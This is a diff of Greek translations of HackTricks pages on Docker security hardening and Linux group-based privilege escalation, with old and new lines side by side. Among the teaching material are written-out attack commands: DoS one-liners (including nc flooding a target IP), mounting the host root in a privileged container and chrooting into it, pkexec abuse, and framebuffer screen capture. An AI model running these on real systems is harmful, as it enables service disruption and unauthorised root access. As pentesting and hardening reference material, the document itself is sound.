**Namespaces** είναι μια δυνατότητα του πυρήνα Linux που **διαχωρίζει τους πόρους του πυρήνα** έτσι ώστε ένα σύνολο **διαδικασιών** να **βλέπει** ένα σύνολο **πόρων** ενώ ένα **άλλο** σύνολο **διαδικασιών** βλέπει ένα **διαφορετικό** σύνολο πόρων. Η δυνατότητα λειτουργεί με το να έχει τον ίδιο namespace για ένα σύνολο πόρων και διαδικασιών, αλλά αυτοί οι namespaces αναφέρονται σε διακριτούς πόρους. Οι πόροι μπορεί να υπάρχουν σε πολλαπλούς χώρους. **Namespaces** είναι μια δυνατότητα του πυρήνα Linux που **διαχωρίζει τους πόρους του πυρήνα** έτσι ώστε ένα σύνολο **διαδικασιών** **να βλέπει** ένα σύνολο **πόρων** ενώ **ένα άλλο** σύνολο **διαδικασιών** βλέπει ένα **διαφορετικό** σύνολο πόρων. Η δυνατότητα λειτουργεί με το να έχει τον ίδιο namespace για ένα σύνολο πόρων και διαδικασιών, αλλά αυτοί οι namespaces αναφέρονται σε διακριτούς πόρους. Οι πόροι μπορεί να υπάρχουν σε πολλαπλούς χώρους.
Το Docker χρησιμοποιεί τους παρακάτω Namespaces του πυρήνα Linux για να επιτύχει την απομόνωση των Container: Το Docker χρησιμοποιεί τους παρακάτω Namespaces του πυρήνα Linux για να επιτύχει την απομόνωση των κοντέινερ:
- pid namespace - pid namespace
- mount namespace - mount namespace
@ -147,8 +147,8 @@ namespaces/
### cgroups ### cgroups
Η δυνατότητα του πυρήνα Linux **cgroups** παρέχει τη δυνατότητα να **περιορίσει τους πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διαδικασιών. Το Docker επιτρέπει τη δημιουργία Containers χρησιμοποιώντας τη δυνατότητα cgroup που επιτρέπει τον έλεγχο των πόρων για το συγκεκριμένο Container.\ Η δυνατότητα του πυρήνα Linux **cgroups** παρέχει τη δυνατότητα να **περιορίσει τους πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διαδικασιών. Το Docker επιτρέπει τη δημιουργία Κοντέινερ χρησιμοποιώντας τη δυνατότητα cgroup που επιτρέπει τον έλεγχο των πόρων για το συγκεκριμένο Κοντέινερ.\
Ακολουθεί ένα Container που δημιουργήθηκε με περιορισμένη μνήμη χώρου χρήστη στα 500m, περιορισμένη μνήμη πυρήνα στα 50m, μερίδιο cpu στα 512, blkioweight στα 400. Το μερίδιο CPU είναι μια αναλογία που ελέγχει τη χρήση CPU του Container. Έχει προεπιλεγμένη τιμή 1024 και εύρος μεταξύ 0 και 1024. Εάν τρία Containers έχουν το ίδιο μερίδιο CPU 1024, κάθε Container μπορεί να καταναλώσει έως και 33% της CPU σε περίπτωση διαμάχης πόρων CPU. Το blkio-weight είναι μια αναλογία που ελέγχει το IO του Container. Έχει προεπιλεγμένη τιμή 500 και εύρος μεταξύ 10 και 1000. Ακολουθεί ένα Κοντέινερ που δημιουργήθηκε με περιορισμένη μνήμη χώρου χρήστη στα 500m, περιορισμένη μνήμη πυρήνα στα 50m, μερίδιο cpu στα 512, blkioweight στα 400. Το μερίδιο CPU είναι μια αναλογία που ελέγχει τη χρήση CPU του Κοντέινερ. Έχει μια προεπιλεγμένη τιμή 1024 και εύρος μεταξύ 0 και 1024. Εάν τρία Κοντέινερ έχουν το ίδιο μερίδιο CPU 1024, κάθε Κοντέινερ μπορεί να καταναλώσει έως και 33% της CPU σε περίπτωση διαμάχης πόρων CPU. Το blkio-weight είναι μια αναλογία που ελέγχει το IO του Κοντέινερ. Έχει μια προεπιλεγμένη τιμή 500 και εύρος μεταξύ 10 και 1000.
``` ```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
``` ```
@ -192,9 +192,9 @@ apparmor.md
### SELinux στο Docker ### SELinux στο Docker
- **Σύστημα Ετικετών**: Το SELinux ανα assigns μια μοναδική ετικέτα σε κάθε διαδικασία και αντικείμενο συστήματος αρχείων. - **Σύστημα Ετικετών**: Το SELinux αναθέτει μια μοναδική ετικέτα σε κάθε διαδικασία και αντικείμενο συστήματος αρχείων.
- **Επιβολή Πολιτικής**: Επιβάλλει πολιτικές ασφαλείας που καθορίζουν ποιες ενέργειες μπορεί να εκτελέσει μια ετικέτα διαδικασίας σε άλλες ετικέτες εντός του συστήματος. - **Επιβολή Πολιτικής**: Επιβάλλει πολιτικές ασφαλείας που καθορίζουν ποιες ενέργειες μπορεί να εκτελέσει μια ετικέτα διαδικασίας σε άλλες ετικέτες εντός του συστήματος.
- **Ετικέτες Διαδικασίας Container**: Όταν οι μηχανές container ξεκινούν διαδικασίες container, συνήθως τους ανατίθεται μια περιορισμένη ετικέτα SELinux, συνήθως `container_t`. - **Ετικέτες Διαδικασιών Container**: Όταν οι μηχανές container ξεκινούν διαδικασίες container, συνήθως τους ανατίθεται μια περιορισμένη ετικέτα SELinux, συνήθως `container_t`.
- **Ετικετοποίηση Αρχείων μέσα σε Containers**: Τα αρχεία μέσα στο container συνήθως ετικετοποιούνται ως `container_file_t`. - **Ετικετοποίηση Αρχείων μέσα σε Containers**: Τα αρχεία μέσα στο container συνήθως ετικετοποιούνται ως `container_file_t`.
- **Κανόνες Πολιτικής**: Η πολιτική SELinux διασφαλίζει κυρίως ότι οι διαδικασίες με την ετικέτα `container_t` μπορούν να αλληλεπιδρούν μόνο (να διαβάζουν, να γράφουν, να εκτελούν) με αρχεία που ετικετοποιούνται ως `container_file_t`. - **Κανόνες Πολιτικής**: Η πολιτική SELinux διασφαλίζει κυρίως ότι οι διαδικασίες με την ετικέτα `container_t` μπορούν να αλληλεπιδρούν μόνο (να διαβάζουν, να γράφουν, να εκτελούν) με αρχεία που ετικετοποιούνται ως `container_file_t`.
@ -229,7 +229,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop # While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
``` ```
- DoS εύρους ζώνης - Bandwidth DoS
```bash ```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
``` ```
@ -247,7 +247,7 @@ docker-privileged.md
#### no-new-privileges #### no-new-privileges
Εάν εκτελείτε ένα κοντέινερ όπου ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση ως χρήστης χαμηλών δικαιωμάτων. Εάν έχετε ένα **κακώς ρυθμισμένο suid binary**, ο επιτιθέμενος μπορεί να το εκμεταλλευτεί και να **κλιμακώσει τα δικαιώματα μέσα** στο κοντέινερ. Αυτό μπορεί να του επιτρέψει να διαφύγει από αυτό. Εάν εκτελείτε ένα κοντέινερ όπου ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση ως χρήστης χαμηλών δικαιωμάτων. Εάν έχετε ένα **κακώς ρυθμισμένο suid binary**, ο επιτιθέμενος μπορεί να το εκμεταλλευτεί και **να κλιμακώσει τα δικαιώματα μέσα** στο κοντέινερ. Αυτό μπορεί να του επιτρέψει να διαφύγει από αυτό.
Η εκτέλεση του κοντέινερ με την επιλογή **`no-new-privileges`** ενεργοποιημένη θα **αποτρέψει αυτόν τον τύπο κλιμάκωσης δικαιωμάτων**. Η εκτέλεση του κοντέινερ με την επιλογή **`no-new-privileges`** ενεργοποιημένη θα **αποτρέψει αυτόν τον τύπο κλιμάκωσης δικαιωμάτων**.
``` ```
@ -270,7 +270,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
``` ```
Για περισσότερες επιλογές **`--security-opt`** ελέγξτε: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) Για περισσότερες επιλογές **`--security-opt`** ελέγξτε: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## Άλλες Σημαντικές Σκέψεις Ασφαλείας ## Άλλες Σκέψεις Ασφαλείας
### Διαχείριση Μυστικών: Καλές Πρακτικές ### Διαχείριση Μυστικών: Καλές Πρακτικές
@ -278,7 +278,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
**Docker volumes** είναι μια πιο ασφαλής εναλλακτική, που συνιστάται για την πρόσβαση σε ευαίσθητες πληροφορίες. Μπορούν να χρησιμοποιηθούν ως προσωρινό σύστημα αρχείων στη μνήμη, μειώνοντας τους κινδύνους που σχετίζονται με το `docker inspect` και την καταγραφή. Ωστόσο, οι χρήστες root και αυτοί με πρόσβαση `exec` στο κοντέινερ μπορεί να έχουν ακόμα πρόσβαση στα μυστικά. **Docker volumes** είναι μια πιο ασφαλής εναλλακτική, που συνιστάται για την πρόσβαση σε ευαίσθητες πληροφορίες. Μπορούν να χρησιμοποιηθούν ως προσωρινό σύστημα αρχείων στη μνήμη, μειώνοντας τους κινδύνους που σχετίζονται με το `docker inspect` και την καταγραφή. Ωστόσο, οι χρήστες root και αυτοί με πρόσβαση `exec` στο κοντέινερ μπορεί να έχουν ακόμα πρόσβαση στα μυστικά.
**Docker secrets** προσφέρουν μια ακόμη πιο ασφαλή μέθοδο για τη διαχείριση ευαίσθητων πληροφοριών. Για περιπτώσεις που απαιτούν μυστικά κατά τη διάρκεια της φάσης κατασκευής της εικόνας, **BuildKit** προσφέρει μια αποδοτική λύση με υποστήριξη για μυστικά κατά την κατασκευή, βελτιώνοντας την ταχύτητα κατασκευής και παρέχοντας επιπλέον δυνατότητες. **Docker secrets** προσφέρουν μια ακόμη πιο ασφαλή μέθοδο για τη διαχείριση ευαίσθητων πληροφοριών. Για περιπτώσεις που απαιτούν μυστικά κατά τη διάρκεια της φάσης κατασκευής της εικόνας, το **BuildKit** προσφέρει μια αποδοτική λύση με υποστήριξη για μυστικά κατά την κατασκευή, βελτιώνοντας την ταχύτητα κατασκευής και παρέχοντας επιπλέον δυνατότητες.
Για να αξιοποιήσετε το BuildKit, μπορεί να ενεργοποιηθεί με τρεις τρόπους: Για να αξιοποιήσετε το BuildKit, μπορεί να ενεργοποιηθεί με τρεις τρόπους:
@ -290,7 +290,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
```bash ```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file . docker build --secret my_key=my_value ,src=path/to/my_secret_file .
``` ```
Για τα μυστικά που απαιτούνται σε ένα τρέχον κοντέινερ, **Docker Compose και Kubernetes** προσφέρουν ισχυρές λύσεις. Το Docker Compose χρησιμοποιεί ένα κλειδί `secrets` στην ορισμό υπηρεσίας για να καθορίσει τα αρχεία μυστικών, όπως φαίνεται σε ένα παράδειγμα `docker-compose.yml`: Για τα μυστικά που απαιτούνται σε ένα τρέχον κοντέινερ, **Docker Compose και Kubernetes** προσφέρουν ισχυρές λύσεις. Το Docker Compose χρησιμοποιεί ένα κλειδί `secrets` στην ορισμό υπηρεσίας για να καθορίσει τα μυστικά αρχεία, όπως φαίνεται σε ένα παράδειγμα `docker-compose.yml`:
```yaml ```yaml
version: "3.7" version: "3.7"
services: services:
@ -309,22 +309,26 @@ file: ./my_secret_file.txt
### gVisor ### gVisor
**gVisor** είναι ένας πυρήνας εφαρμογής, γραμμένος σε Go, που υλοποιεί ένα σημαντικό μέρος της επιφάνειας του συστήματος Linux. Περιλαμβάνει ένα [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime που ονομάζεται `runsc` και παρέχει ένα **όριο απομόνωσης μεταξύ της εφαρμογής και του πυρήνα του host**. Το runtime `runsc` ενσωματώνεται με το Docker και το Kubernetes, διευκολύνοντας την εκτέλεση sandboxed containers. **gVisor** είναι ένας πυρήνας εφαρμογής, γραμμένος σε Go, που υλοποιεί ένα σημαντικό μέρος της επιφάνειας του συστήματος Linux. Περιλαμβάνει ένα [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime που ονομάζεται `runsc` και παρέχει ένα **όριο απομόνωσης μεταξύ της εφαρμογής και του πυρήνα του host**. Το runtime `runsc` ενσωματώνεται με το Docker και το Kubernetes, διευκολύνοντας την εκτέλεση απομονωμένων κοντέινερ.
{% embed url="https://github.com/google/gvisor" %} {{#ref}}
https://github.com/google/gvisor
{{#endref}}
### Kata Containers ### Kata Containers
**Kata Containers** είναι μια κοινότητα ανοιχτού κώδικα που εργάζεται για την κατασκευή ενός ασφαλούς runtime κοντέινερ με ελαφριές εικονικές μηχανές που αισθάνονται και αποδίδουν όπως τα κοντέινερ, αλλά παρέχουν **ισχυρότερη απομόνωση φορτίου εργασίας χρησιμοποιώντας τεχνολογία εικονικοποίησης υλικού** ως δεύτερη γραμμή άμυνας. **Kata Containers** είναι μια κοινότητα ανοιχτού κώδικα που εργάζεται για την κατασκευή ενός ασφαλούς runtime κοντέινερ με ελαφριές εικονικές μηχανές που αισθάνονται και αποδίδουν όπως τα κοντέινερ, αλλά παρέχουν **ισχυρότερη απομόνωση φόρτου εργασίας χρησιμοποιώντας τεχνολογία εικονικοποίησης υλικού** ως δεύτερη γραμμή άμυνας.
{% embed url="https://katacontainers.io/" %} {{#ref}}
https://katacontainers.io/
{{#endref}}
### Συμβουλές Περίληψης ### Συμβουλές Περίληψης
- **Μην χρησιμοποιείτε τη σημαία `--privileged` ή να τοποθετείτε ένα** [**Docker socket μέσα στο κοντέινερ**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Το docker socket επιτρέπει τη δημιουργία κοντέινερ, οπότε είναι ένας εύκολος τρόπος να αποκτήσετε πλήρη έλεγχο του host, για παράδειγμα, εκτελώντας ένα άλλο κοντέινερ με τη σημαία `--privileged`. - **Μην χρησιμοποιείτε την επιλογή `--privileged` ή τοποθετήστε ένα** [**Docker socket μέσα στο κοντέινερ**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Το docker socket επιτρέπει τη δημιουργία κοντέινερ, επομένως είναι ένας εύκολος τρόπος για να αποκτήσετε πλήρη έλεγχο του host, για παράδειγμα, εκτελώντας ένα άλλο κοντέινερ με την επιλογή `--privileged`.
- **Μην εκτελείτε ως root μέσα στο κοντέινερ. Χρησιμοποιήστε έναν** [**διαφορετικό χρήστη**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **και** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** Ο root στο κοντέινερ είναι ο ίδιος με αυτόν στον host εκτός αν ανακατανεμηθεί με user namespaces. Είναι μόνο ελαφρώς περιορισμένος από, κυρίως, Linux namespaces, δυνατότητες και cgroups. - **Μην εκτελείτε ως root μέσα στο κοντέινερ. Χρησιμοποιήστε έναν** [**διαφορετικό χρήστη**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **και** [**namespaces χρηστών**](https://docs.docker.com/engine/security/userns-remap/)**.** Ο root στο κοντέινερ είναι ο ίδιος με αυτόν του host εκτός αν έχει ανακατανεμηθεί με namespaces χρηστών. Είναι μόνο ελαφρώς περιορισμένος από, κυρίως, τα namespaces του Linux, τις δυνατότητες και τα cgroups.
- [**Αφαιρέστε όλες τις δυνατότητες**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλά φορτία εργασίας δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει την έκταση μιας πιθανής επίθεσης. - [**Αφαιρέστε όλες τις δυνατότητες**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλές φόρτοι εργασίας δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει την έκταση μιας πιθανής επίθεσης.
- [**Χρησιμοποιήστε την επιλογή ασφαλείας “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) για να αποτρέψετε τις διαδικασίες από το να αποκτούν περισσότερες δυνατότητες, για παράδειγμα μέσω suid binaries. - [**Χρησιμοποιήστε την επιλογή ασφαλείας “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) για να αποτρέψετε τις διαδικασίες από το να αποκτούν περισσότερες δυνατότητες, για παράδειγμα μέσω δυαδικών suid.
- [**Περιορίστε τους πόρους που είναι διαθέσιμοι στο κοντέινερ**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Οι περιορισμοί πόρων μπορούν να προστατεύσουν τη μηχανή από επιθέσεις άρνησης υπηρεσίας. - [**Περιορίστε τους πόρους που είναι διαθέσιμοι στο κοντέινερ**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Οι περιορισμοί πόρων μπορούν να προστατεύσουν τη μηχανή από επιθέσεις άρνησης υπηρεσίας.
- **Ρυθμίστε** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ή SELinux)** προφίλ για να περιορίσετε τις ενέργειες και τις syscalls που είναι διαθέσιμες για το κοντέινερ στο ελάχιστο που απαιτείται. - **Ρυθμίστε** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ή SELinux)** προφίλ για να περιορίσετε τις ενέργειες και τις syscalls που είναι διαθέσιμες για το κοντέινερ στο ελάχιστο που απαιτείται.
- **Χρησιμοποιήστε** [**επίσημες εικόνες docker**](https://docs.docker.com/docker-hub/official_images/) **και απαιτήστε υπογραφές** ή κατασκευάστε τις δικές σας βασισμένες σε αυτές. Μην κληρονομείτε ή χρησιμοποιείτε [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) εικόνες. Αποθηκεύστε επίσης τα κλειδιά root, τη φράση πρόσβασης σε ασφαλές μέρος. Το Docker έχει σχέδια να διαχειρίζεται τα κλειδιά με το UCP. - **Χρησιμοποιήστε** [**επίσημες εικόνες docker**](https://docs.docker.com/docker-hub/official_images/) **και απαιτήστε υπογραφές** ή κατασκευάστε τις δικές σας βασισμένες σε αυτές. Μην κληρονομείτε ή χρησιμοποιείτε [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) εικόνες. Αποθηκεύστε επίσης τα κλειδιά root, τη φράση πρόσβασης σε ασφαλές μέρος. Το Docker έχει σχέδια να διαχειρίζεται τα κλειδιά με το UCP.
@ -338,7 +342,7 @@ file: ./my_secret_file.txt
## Docker Breakout / Privilege Escalation ## Docker Breakout / Privilege Escalation
Εάν είστε **μέσα σε ένα κοντέινερ docker** ή έχετε πρόσβαση σε έναν χρήστη στην **ομάδα docker**, μπορείτε να προσπαθήσετε να **διαφύγετε και να κλιμακώσετε τα προνόμια**: Εάν είστε **μέσα σε ένα κοντέινερ docker** ή έχετε πρόσβαση σε έναν χρήστη στην **ομάδα docker**, μπορείτε να προσπαθήσετε να **διαφύγετε και να κλιμακώσετε προνόμια**:
{{#ref}} {{#ref}}
docker-breakout-privilege-escalation/ docker-breakout-privilege-escalation/
@ -354,7 +358,7 @@ authz-and-authn-docker-access-authorization-plugin.md
## Hardening Docker ## Hardening Docker
- Το εργαλείο [**docker-bench-security**](https://github.com/docker/docker-bench-security) είναι ένα σενάριο που ελέγχει δεκάδες κοινές βέλτιστες πρακτικές γύρω από την ανάπτυξη κοντέινερ Docker σε παραγωγή. Οι δοκιμές είναι όλες αυτοματοποιημένες και βασίζονται στο [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ - Το εργαλείο [**docker-bench-security**](https://github.com/docker/docker-bench-security) είναι ένα σενάριο που ελέγχει για δεκάδες κοινές βέλτιστες πρακτικές γύρω από την ανάπτυξη κοντέινερ Docker σε παραγωγή. Οι δοκιμές είναι όλες αυτοματοποιημένες και βασίζονται στο [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Πρέπει να εκτελέσετε το εργαλείο από τον host που εκτελεί το docker ή από ένα κοντέινερ με αρκετά προνόμια. Βρείτε **πώς να το εκτελέσετε στο README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). Πρέπει να εκτελέσετε το εργαλείο από τον host που εκτελεί το docker ή από ένα κοντέινερ με αρκετά προνόμια. Βρείτε **πώς να το εκτελέσετε στο README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Αναφορές ## Αναφορές
@ -373,5 +377,4 @@ authz-and-authn-docker-access-authorization-plugin.md
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) - [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
### **PE - Μέθοδος 1** ### **PE - Μέθοδος 1**
**Μερικές φορές**, **κατά προεπιλογή (ή επειδή κάποια λογισμικά το χρειάζονται)** μέσα στο **/etc/sudoers** αρχείο μπορείτε να βρείτε μερικές από αυτές τις γραμμές: **Μερικές φορές**, **κατά προεπιλογή (ή επειδή κάποιο λογισμικό το χρειάζεται)** μέσα στο **/etc/sudoers** αρχείο μπορείτε να βρείτε μερικές από αυτές τις γραμμές:
```bash ```bash
# Allow members of group sudo to execute any command # Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL %sudo ALL=(ALL:ALL) ALL
@ -158,7 +158,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
``` ```
Το **tty1** σημαίνει ότι ο χρήστης **yossi είναι συνδεδεμένος φυσικά** σε ένα τερματικό στη μηχανή. Το **tty1** σημαίνει ότι ο χρήστης **yossi είναι συνδεδεμένος φυσικά** σε ένα τερματικό στη μηχανή.
Η **ομάδα video** έχει πρόσβαση για να δει την έξοδο της οθόνης. Βασικά, μπορείτε να παρατηρήσετε τις οθόνες. Για να το κάνετε αυτό, πρέπει να **πάρτε την τρέχουσα εικόνα στην οθόνη** σε ακατέργαστα δεδομένα και να βρείτε την ανάλυση που χρησιμοποιεί η οθόνη. Τα δεδομένα της οθόνης μπορούν να αποθηκευτούν στο `/dev/fb0` και μπορείτε να βρείτε την ανάλυση αυτής της οθόνης στο `/sys/class/graphics/fb0/virtual_size` Η **ομάδα video** έχει πρόσβαση για να δει την έξοδο της οθόνης. Βασικά, μπορείτε να παρακολουθήσετε τις οθόνες. Για να το κάνετε αυτό, πρέπει να **πάρτε την τρέχουσα εικόνα στην οθόνη** σε ακατέργαστα δεδομένα και να βρείτε την ανάλυση που χρησιμοποιεί η οθόνη. Τα δεδομένα της οθόνης μπορούν να αποθηκευτούν στο `/dev/fb0` και μπορείτε να βρείτε την ανάλυση αυτής της οθόνης στο `/sys/class/graphics/fb0/virtual_size`
```bash ```bash
cat /dev/fb0 > /tmp/screen.raw cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size cat /sys/class/graphics/fb0/virtual_size
@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
``` ```
## Docker Group ## Docker Group
Μπορείτε να **συνδέσετε το ριζικό σύστημα αρχείων της μηχανής φιλοξενίας σε έναν όγκο της παρουσίας**, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή. Μπορείτε να **συνδέσετε το ριζικό σύστημα αρχείων της μηχανής φιλοξενίας σε έναν τόμο της παρουσίας**, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον τόμο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή.
```bash ```bash
docker image #Get images from the docker service docker image #Get images from the docker service
@ -201,9 +201,13 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chr
Αν έχετε δικαιώματα εγγραφής πάνω στο docker socket διαβάστε [**αυτή την ανάρτηση σχετικά με το πώς να κλιμακώσετε τα προνόμια εκμεταλλευόμενοι το docker socket**](../#writable-docker-socket)**.** Αν έχετε δικαιώματα εγγραφής πάνω στο docker socket διαβάστε [**αυτή την ανάρτηση σχετικά με το πώς να κλιμακώσετε τα προνόμια εκμεταλλευόμενοι το docker socket**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} {{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
## lxc/lxd Group ## lxc/lxd Group

View File

@ -1,6 +1,6 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# Sudo/Διαχειριστικά Γκρουπ # Sudo/Διαχειριστικές Ομάδες
## **PE - Μέθοδος 1** ## **PE - Μέθοδος 1**
@ -40,7 +40,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
==== AUTHENTICATION FAILED === ==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized Error executing command as another user: Not authorized
``` ```
**Δεν είναι επειδή δεν έχετε άδειες, αλλά επειδή δεν είστε συνδεδεμένοι χωρίς GUI**. Και υπάρχει μια λύση για αυτό το πρόβλημα εδώ: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Χρειάζεστε **2 διαφορετικές ssh συνεδρίες**: **Δεν είναι επειδή δεν έχετε δικαιώματα αλλά επειδή δεν είστε συνδεδεμένοι χωρίς GUI**. Και υπάρχει μια λύση για αυτό το ζήτημα εδώ: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Χρειάζεστε **2 διαφορετικές ssh συνεδρίες**:
```bash:session1 ```bash:session1
echo $$ #Step1: Get current PID echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec pkexec "/bin/bash" #Step 3, execute pkexec
@ -73,7 +73,7 @@ sudo su
# Ομάδα Δίσκου # Ομάδα Δίσκου
Αυτή η προνομιακή πρόσβαση είναι σχεδόν **ισοδύναμη με την πρόσβαση root** καθώς μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα μέσα στη μηχανή. Αυτή η προνομία είναι σχεδόν **ισοδύναμη με την πρόσβαση root** καθώς μπορείτε να έχετε πρόσβαση σε όλα τα δεδομένα μέσα στη μηχανή.
Αρχεία: `/dev/sd[a-z][1-9]` Αρχεία: `/dev/sd[a-z][1-9]`
```text ```text
@ -125,13 +125,16 @@ find / -group root -perm -g=w 2>/dev/null
Μπορείτε να προσαρτήσετε το ριζικό σύστημα αρχείων της μηχανής-οικοδεσπότη σε έναν όγκο της παρουσίας, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή. Μπορείτε να προσαρτήσετε το ριζικό σύστημα αρχείων της μηχανής-οικοδεσπότη σε έναν όγκο της παρουσίας, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} {{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# lxc/lxd Group # lxc/lxd Group
[lxc - Privilege Escalation](lxd-privilege-escalation.md) [lxc - Privilege Escalation](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} {{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} {{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} {{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} {{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} {{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} {{#ref}}
